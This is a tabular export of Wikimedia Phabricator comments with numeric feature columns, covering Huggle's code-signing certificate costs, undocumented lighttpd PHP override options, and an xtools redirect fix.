1074814,Add a publisher certificate for Windows binaries,"Oh hey, thanks :)",,,1527424817,,PHID-USER-timi4nkerc272muhuatw,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,151,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8,1.0,"Oh hey, thanks :)"
1074806,Add a publisher certificate for Windows binaries,"ToBeFree at enwiki suggested ""WMF to pay for it"":

```
@Petrb: Hey, thanks for the quick reply. I saw that answer coming! Emoji u1f60a.svg How about letting the WMF pay it? As far as I know, they're sponsoring admission fees for photography projects, they invest a lot of money to keep all the tools/bots running; why wouldn't they fund a software certificate for a massively useful, widely used tool on multiple Wikipedias including enwiki? ~ ToBeFree (talk) 11:46, 27 May 2018 (UTC) 
```

Honestly, I don't know what our options here are. If it really is possible for WMF to handle this somehow, I probably wouldn't object, but I don't even know where to begin, or who within WMF is responsible for this kind of stuff.

Hilfe @Aklapper :D",,,1527423106,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,151,True,0.0,0.0,0.0,0.0,4.0,3.0,3.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,5.0,0.0,14.0,14.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,7.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,0.0,0.0,4.0,0.0,3.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,0.0,0.0,0.0,0.0,3.0,0.0,4.0,15.0,3.0,3.0,3.0,0.0,1.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,14.0,8.0,0.0,3.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5135135135135136,0.6621621621621622,"ToBeFree at enwiki suggested ""WMF to pay for it"":

``CODE``

Honestly, I don't know what our options here are. If it really is possible for WMF to handle this somehow, I probably wouldn't object, but I don't even know where to begin, or who within WMF is responsible for this kind of stuff.

HilfeSCREEN_NAME :D"
840994,Add a publisher certificate for Windows binaries,"Declining a task doesn't solve it.

We can fix this but only if there is a feasible way to get the key in order to sign the executable. Right now these need to be purchased for money. So unless someone sponsor it, our hands are tied. Or we can wait for public service like letsencrypt to be launched that would allow this for free.",,,1491997339,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,92,True,0.0,1.0,0.0,4.0,1.0,4.0,0.0,0.0,0.0,3.0,1.0,1.0,0.0,1.0,1.0,4.0,0.0,7.0,15.0,1.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,7.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,7.0,3.0,3.0,10.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,7.0,15.0,1.0,0.0,0.0,0.0,7.0,0.0,1.0,3.0,0.0,1.0,0.0,0.0,0.0,3.736111111111111,0.7916666666666666,"Declining a task doesn't solve it.

We can fix this but only if there is a feasible way to get the key in order to sign the executable. Right now these need to be purchased for money. So unless someone sponsor it, our hands are tied. Or we can wait for public service like letsencrypt to be launched that would allow this for free."
838575,Add a publisher certificate for Windows binaries,Let's decline this?,,,1491567734,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,92,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4,1.0,Let's decline this?
549981,Add a publisher certificate for Windows binaries,">>! In T105560#1447490, @MrStradivarius wrote:
> If you're willing to wait until September, [[ https://letsencrypt.org/ | Let's Encrypt ]] will give you certificates for free.

Let's encrypt is just for website SSL certs.

>>! In T105560#1460312, @Petrb wrote:
> Huggle packages for ubuntu are signed and it works. With a certificate that is located on our build server and which I freely generated there. If Microsoft can't do this, it's their problem.
Yes, if and only if the user installs your public key. The same is of course possible in Windows, and (as in Linux) requires an administrator to load the key in the key store.

[[ https://en.sklep.unizeto.pl/data-safety/code-signing-certificates/open-source-code-signing.html | Unizeto ]] used to provide free certificates, but now charges a small (€18) fee. For that fee, they check your identity (so it covers their actual costs). Note that the publisher field would then not be 'Huggle', but e.g. 'Petr Bena - Open Source Developer'.",,,1445456838,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,15,True,0.0,0.0,0.0,0.0,1.0,4.5,1.0,0.0,0.0,1.0,3.0,3.0,0.0,0.5,0.0,0.0,0.0,6.0,7.0,0.0,1.5,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.5,1.5,1.0,0.0,1.5,0.0,0.0,0.0,0.5,0.0,1.5,1.0,1.0,0.0,0.0,0.0,0.0,1.0,11.0,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,13.0,2.0,2.5,5.0,0.0,0.0,0.0,0.0,3.5,0.5,1.0,0.0,4.0,7.0,8.0,0.0,3.0,0.0,4.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,3.4243471582181257,0.7364311315924219,"QUOTE
QUOTE

Let's encrypt is just for website SSL certs.

QUOTE
QUOTE
Yes, if and only if the user installs your public key. The same is of course possible in Windows, and (as in Linux) requires an administrator to load the key in the key store.

[[ URL | Unizeto ]] used to provide free certificates, but now charges a small (€18) fee. For that fee, they check your identity (so it covers their actual costs). Note that the publisher field would then not be 'Huggle', but e.g. 'Petr Bena - Open Source Developer'."
492983,Add a publisher certificate for Windows binaries,"Code signing usually works in the way that you have a public and private keys (or certificates), distribute the public key to a key server and sign the binary packages with the private one, so that it can be verified that binary package really comes from you and not some hacker who did something evil.

You don't really need a certificate from certificate authority for this, there is absolutely no point in that as long as there is some sort of certificate server you can upload your public key to. For example both debian and ubuntu allow signing with certificates you create yourself on your pc. It's just Micro$$oft that requires commercial certificates that cost money. Both are same effective just the later is expensive.

Huggle packages for ubuntu are signed and it works. With a certificate that is located on our build server and which I freely generated there. If Microsoft can't do this, it's their problem.",,,1437145046,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,2,True,1.0,0.5,0.5,1.5,1.5,7.5,1.0,0.0,0.0,0.5,2.0,1.0,0.0,0.0,1.0,1.0,0.0,7.5,10.5,0.5,0.0,0.0,1.0,0.0,1.0,0.5,0.0,0.0,1.0,0.0,0.0,9.5,0.0,2.0,0.0,4.5,0.0,0.0,0.5,1.0,0.5,0.5,0.5,0.5,0.0,0.5,0.5,1.0,0.0,16.0,1.5,1.5,0.0,2.0,0.5,0.0,0.0,0.0,1.0,0.0,1.0,1.0,0.0,0.0,0.5,1.5,0.0,4.5,3.5,6.0,2.0,4.0,9.0,0.0,0.0,0.0,0.0,2.5,0.0,1.0,0.0,8.0,10.5,1.0,0.0,0.0,0.0,8.0,0.0,3.0,2.0,0.5,0.0,0.0,0.0,0.0,4.297752808988764,0.7359550561797752,"Code signing usually works in the way that you have a public and private keys (or certificates), distribute the public key to a key server and sign the binary packages with the private one, so that it can be verified that binary package really comes from you and not some hacker who did something evil.

You don't really need a certificate from certificate authority for this, there is absolutely no point in that as long as there is some sort of certificate server you can upload your public key to. For example both debian and ubuntu allow signing with certificates you create yourself on your pc. It's just Micro$$oft that requires commercial certificates that cost money. Both are same effective just the later is expensive.

Huggle packages for ubuntu are signed and it works. With a certificate that is located on our build server and which I freely generated there. If Microsoft can't do this, it's their problem."
492948,Add a publisher certificate for Windows binaries,"> For code signing?

I'm not sure - I've never had to set up a certificate for anything yet. If it's not obvious from the website, then probably not.",,,1437137596,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,2,True,0.0,3.0,0.0,0.0,9.0,6.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,21.0,15.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,12.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,9.0,15.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.3636363636363638,0.8787878787878788,"QUOTE

I'm not sure - I've never had to set up a certificate for anything yet. If it's not obvious from the website, then probably not."
492868,Add a publisher certificate for Windows binaries,"Huggle is open source, both Microsoft and Apple are enforcing weird policies that are basically just forcing developers to pay huge money either directly to MS or Apple just so that they can publish the software ""right way"". For same reason huggle isn't on apple market. I don't really see a point in having to pay money in order to distribute free software to others. Applying for a grant, so that I could take money from people who supported wikimedia as a free movement and give these money to huge corporations who are draining money from everyone, including freeware developers doesn't look as a good idea to me. Should there be a free service that provides this, we can use it, but until then, this isn't anything that can be easily solved.",,,1437118888,,PHID-USER-ppytiem7rcsbnstfsrvq,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,2,True,0.0,1.5,0.0,0.5,2.5,5.5,1.0,0.0,0.0,0.0,2.5,2.5,0.0,0.0,0.5,2.5,0.0,6.0,12.0,1.5,1.5,0.5,1.0,0.0,0.5,0.5,0.0,0.0,2.5,0.0,0.0,5.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.5,0.0,1.5,0.0,0.0,0.0,1.0,0.0,14.5,2.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,2.5,0.0,0.5,0.0,2.5,0.0,3.5,4.5,5.5,2.5,3.5,5.5,0.0,0.0,0.0,0.0,6.5,0.0,0.0,0.0,3.5,12.0,2.5,0.0,1.0,0.0,3.5,0.0,3.0,3.0,0.5,3.5,0.0,0.0,0.0,4.127027027027028,0.7447747747747748,"Huggle is open source, both Microsoft and Apple are enforcing weird policies that are basically just forcing developers to pay huge money either directly to MS or Apple just so that they can publish the software ""right way"". For same reason huggle isn't on apple market. I don't really see a point in having to pay money in order to distribute free software to others. Applying for a grant, so that I could take money from people who supported wikimedia as a free movement and give these money to huge corporations who are draining money from everyone, including freeware developers doesn't look as a good idea to me. Should there be a free service that provides this, we can use it, but until then, this isn't anything that can be easily solved."
492792,Add a publisher certificate for Windows binaries,">>! In T105560#1447490, @MrStradivarius wrote:
> If you're willing to wait until September, [[ https://letsencrypt.org/ | Let's Encrypt ]] will give you certificates for free.

For code signing?",,,1437092376,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,2,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,50.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,38.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.5,0.875,"QUOTE
QUOTE

For code signing?"
490493,Add a publisher certificate for Windows binaries,"If you're willing to wait until September, [[ https://letsencrypt.org/ | Let's Encrypt ]] will give you certificates for free.",,,1436632867,,PHID-USER-rjtk3h6l2quifuajiime,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,False,,,1,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,12.0,16.0,4.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,3.48,0.88,"If you're willing to wait until September, [[ URL | Let's Encrypt ]] will give you certificates for free."
490346,Add a publisher certificate for Windows binaries,"We need a signing certificate (SLL?) for this, InstantSSL costs $179 / year. We could apply for grants from WMF and local chapters. I was also linked to https://en.sklep.unizeto.pl/data-safety/code-signing-certificates/open-source-code-signing.html which is for open source, and is only €14.",,,1436569328,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,0.0,4.0,10.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,15.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,10.0,4.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.375,0.8333333333333334,"We need a signing certificate (SLL?) for this, InstantSSL costs $179 / year. We could apply for grants from WMF and local chapters. I was also linked to URL which is for open source, and is only €14."
490345,Add a publisher certificate for Windows binaries,"We need a signing certificate (SLL?) for this, InstantSSL costs $179 / year. We could apply for grants from WMF and local chapters. I was also linked to https://en.sklep.unizeto.pl/data-safety/code-signing-certificates/open-source-code-signing.html which is for open source, and is €14.",,,1436569293,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,15.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,11.0,4.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3617021276595747,0.8297872340425532,"We need a signing certificate (SLL?) for this, InstantSSL costs $179 / year. We could apply for grants from WMF and local chapters. I was also linked to URL which is for open source, and is €14."
490343,Add a publisher certificate for Windows binaries,"We need a signing certificate (SLL?) for this, InstantSSL costs $179 / year. We could apply for grants from WMF and local chpters. I was also linked to https://en.sklep.unizeto.pl/data-safety/code-signing-certificates/open-source-code-signing.html which is for open source, and is €14.",,,1436569242,,PHID-USER-4j7xntcqqwei7izzlfnd,False,,,PHID-TASK-jcd425ypzglcdbzcemwo,task_subcomment,,True,c3,3,True,,,1,True,0.0,0.0,0.0,2.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,6.0,15.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,0.0,6.0,11.0,4.0,2.0,0.0,0.0,6.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.3404255319148937,0.8297872340425532,"We need a signing certificate (SLL?) for this, InstantSSL costs $179 / year. We could apply for grants from WMF and local chpters. I was also linked to URL which is for open source, and is €14."
101994,Document php override options for lighttpd,"/usr/local/bin/lighttpd-starter allows overriding the php configuration, by only inserting the standard config if:

```
if [ ! -r $home/.lighttpd.conf ] || [[ ! $(cat ""$home/.lighttpd.conf"" | grep -P '^(?:[ \t]*fastcgi.server[ \t\+\(=]+"".php""|#no-default-php)') ]]; then
```

This should be documented.",Lowest,10.0,1433947813,1593213982.0,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-USER-ll6tmaogat2b5q7tnqas,False,PHID-TASK-ry3vzeybzpknmoojh32f,task_description,declined,True,c3,1,True,False,False,-4,True,0.0,0.0,0.0,3.0,0.0,9.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,3.0,6.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,6.0,3.0,0.0,9.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,3.914285714285714,0.8,"/usr/local/bin/lighttpd-starter allows overriding the php configuration, by only inserting the standard config if:

``CODE``

This should be documented."
1533828,Document php override options for lighttpd,Let's just close this as declined since the missing docs are actually a missing feature that the world has lived without for 4+ years.,,,1593213982,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ry3vzeybzpknmoojh32f,task_subcomment,,True,c3,3,True,,,260,True,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,15.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,11.0,4.0,4.0,4.0,0.0,15.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,4.0,15.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,7.0,0.0,0.0,0.0,4.111111111111111,0.9259259259259259,Let's just close this as declined since the missing docs are actually a missing feature that the world has lived without for 4+ years.
1532599,Document php override options for lighttpd,"Guess once this is possible it could go to https://wikitech.wikimedia.org/wiki/Help:Toolforge/Web/Lighttpd#PHP ?
> lighttpd-starter was replaced in the ""webservice2"" re-write and equivalent functionality was not added in the new implementation.
For reference: {T98440} / {T98441}
> So... ugh. We probably need some product work before we are actually ready to document this ""feature"".
As this is a documentation task, there should be a subtask which is about developing / re-adding this functionality.",,,1593073200,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-ry3vzeybzpknmoojh32f,task_subcomment,,True,c3,3,True,,,260,True,0.0,0.0,0.0,0.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,10.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,0.0,12.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,8.0,16.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,10.0,4.0,2.0,0.0,0.0,2.0,0.0,2.0,4.0,0.0,6.0,0.0,0.0,0.0,3.6,0.76,"Guess once this is possible it could go to URL ?
QUOTE
For reference: {T98440} / {T98441}
QUOTE
As this is a documentation task, there should be a subtask which is about developing / re-adding this functionality."
1251696,Document php override options for lighttpd,"Reading this task again I realized that the feature that it is asking to be documented actually is no longer available. `lighttpd-starter` was replaced in the ""webservice2"" re-write and equivalent functionality was not added in the new implementation. Specifically there is no magic string of config that can be placed in a tool's $HOME/.lighttpd.conf file that will prevent the default server configuration from being used. There is also no Kubernetes backend equivalent for the gridengine backend's ""lighttpd-plain"" type today.

So... ugh. We probably need some product work before we are actually ready to document this ""feature"".",,,1553642039,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ry3vzeybzpknmoojh32f,task_subcomment,,True,c3,3,True,,,194,True,1.0,0.0,0.0,3.0,0.5,5.5,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,2.0,0.0,6.5,7.5,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.5,1.0,0.0,5.0,0.5,0.5,1.0,0.0,0.0,0.0,0.0,0.5,1.5,0.0,1.5,2.0,0.0,0.0,0.5,1.0,0.5,11.5,1.5,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,3.5,6.0,6.5,1.0,0.5,7.5,0.0,0.0,0.0,0.0,3.5,0.0,0.0,0.0,2.5,7.5,3.5,0.0,4.5,0.0,2.5,0.0,1.5,0.5,0.0,1.0,0.5,0.0,0.0,4.487580362361192,0.8122443015780245,"Reading this task again I realized that the feature that it is asking to be documented actually is no longer available. CODE was replaced in the ""webservice2"" re-write and equivalent functionality was not added in the new implementation. Specifically there is no magic string of config that can be placed in a tool's $HOME/.lighttpd.conf file that will prevent the default server configuration from being used. There is also no Kubernetes backend equivalent for the gridengine backend's ""lighttpd-plain"" type today.

So... ugh. We probably need some product work before we are actually ready to document this ""feature""."
860101,Document php override options for lighttpd,Probably just need to document the `lighttpd-plain` backend better on https://wikitech.wikimedia.org/wiki/Help:Tool_Labs/Web/Lighttpd,,,1494883195,,PHID-USER-ll6tmaogat2b5q7tnqas,False,,,PHID-TASK-ry3vzeybzpknmoojh32f,task_subcomment,,True,c3,3,True,,,97,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,18.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,27.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.636363636363637,1.0,Probably just need to document the CODE backend better on URL
100015,tools.wmflabs.org/xtools shouldn't give a HTTP 301 to another redirect,"Going to http://tools.wmflabs.org/xtools redirects to http://tools.wmflabs.org/xtools/articleinfo/? which gives
```
301 Moved Permanently

This tool has moved to a new location. You will be redirected to tools.wmflabs.org/xtools-articleinfo/index.php? shortly.
```
http://tools.wmflabs.org/xtools should redirect to http://tools.wmflabs.org/xtools-articleinfo/index.php instead.",Lowest,10.0,1432297768,1459649475.0,PHID-USER-lsveyqlsb4acoowxr5yj,False,PHID-USER-vzo36k53hgat5bwuxsn5,False,PHID-TASK-uc6nzyttspl2ypxazaky,task_description,resolved,True,c3,1,True,False,False,-6,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,27.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,3.3636363636363638,0.5909090909090909,"Going to URL redirects to URL which gives
``CODE``
URL should redirect to URL instead."
639580,tools.wmflabs.org/xtools shouldn't give a HTTP 301 to another redirect,"Fixed on the live tool, see https://github.com/x-tools/xtools/pull/90",,,1459649475,,PHID-USER-vzo36k53hgat5bwuxsn5,False,,,PHID-TASK-uc6nzyttspl2ypxazaky,task_subcomment,,True,c3,3,True,,,39,True,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,25.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.125,1.0,"Fixed on the live tool, see URL"
462238,tools.wmflabs.org/xtools shouldn't give a HTTP 301 to another redirect,@Glaisher we haven't been too worried about fixing the redirects yet because we're in the process of migrating all of the tools to xtools.wmflabs.org/tool and will be going through updating them when done.,,,1432298442,,PHID-USER-qgqq35kbi5wss2tlgmhg,False,,,PHID-TASK-uc6nzyttspl2ypxazaky,task_subcomment,,True,c3,1,False,,,-6,True,3.0,0.0,0.0,0.0,3.0,3.0,3.0,3.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,6.0,0.0,11.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,3.0,6.0,3.0,11.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,19.0,3.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,3.0,11.0,0.0,0.0,0.0,4.861111111111111,0.8888888888888888,SCREEN_NAME we haven't been too worried about fixing the redirects yet because we're in the process of 